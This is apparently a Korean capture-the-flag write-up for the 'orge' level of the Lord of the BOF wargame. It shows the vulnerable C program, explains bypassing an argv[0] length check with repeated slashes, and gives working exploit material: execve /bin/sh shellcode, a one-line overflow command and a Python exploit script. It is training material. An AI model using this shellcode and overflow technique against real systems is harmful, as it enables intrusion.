[LOB]Level07. orge

 

+ Check argv[0]

darkelf / kernel crashed


/*
        The Lord of the BOF : The Fellowship of the BOF
        - orge
        - check argv[0]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// here is changed!
	if(strlen(argv[0]) != 77){
                printf("argv[0] error\n");
                exit(0);
	}

	// egghunter
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	// check the length of argument
	if(strlen(argv[1]) > 48){
		printf("argument is too long!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

    // buffer hunter
    memset(buffer, 0, 40);
}

0x01. Analysis

// here is changed!
if(strlen(argv[0]) != 77){
    printf("argv[0] error\n");
    exit(0);
}

argv[0]의 길이가 77이여야 한는 코드가 추가되었다.

argv[0]는 파일실행경로값이 들어가게 된다.


shell에는 다음과 같은 기능(?)이 있다.

경로명에 ‘/’를 여러개 넣어도 1개로 인식하여 파일이 실행된다. 하지만 argv[0]의 길이는 늘어나는 셈이다.
이를 이용하여 길이를 77바이트로 만들면 될것 같다.

나머지 문제 풀이법은 darkelf와 같다.

  • buffer 배열 크기 40byte
  • argv[0]의 길이가 77인지 검증
  • 환경변수 영역 0으로 초기화 (egghunter)
  • RET 첫 1byte ‘\xbf’로 시작
  • argv[1] 48byte 길이 미만
  • strcpy를 이용하여 argv[1] 인자 값을 buffer 배열로 복사
  • buffer 배열 40byte 0으로 초기화

0x02. Exploit

core 덤프를 떨궈 shellcode가 들어갈 argv[2]의 주소를 구하자.

이제 쉘코드를 넣고 RET주소에 0xbffffb64 를 넣으면 끄읏~


shell(24byte) = \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

[darkelf@localhost darkelf]$ /home/darkelf////////////////////////////////////////////////////////////orge `python -c 'print "A"*44+"\x64\xfb\xff\xbf"'` `python -c 'print "\x90"*50+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

0x03. 정리

orge 문제에는 argv[0]의 길이를 검증하는 로직이 추가되었으며, 쉘기능을 사용하여 argv[0] 길이 검증을 우회할 수 있었다.


import os
import struct

append = lambda x, y: x + y
p32 = lambda x: struct.pack("<I", x)

target = "/home/darkelf/" + "/"*59 + "orge"
print len(target)

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
argv2_addr = 0xbffffd20

payload1 = "\x90"*44
payload1 = append(payload1, p32(argv2_addr))

payload2 = "\x90"*50
payload2 = append(payload2, shellcode)

pid = os.fork()

if pid == 0:
        os.execv(target, (target, payload1, payload2))
else:
        os.waitpid(pid, 0)

python script로 exploit 할 때는 실제 주소가 다를 수 있음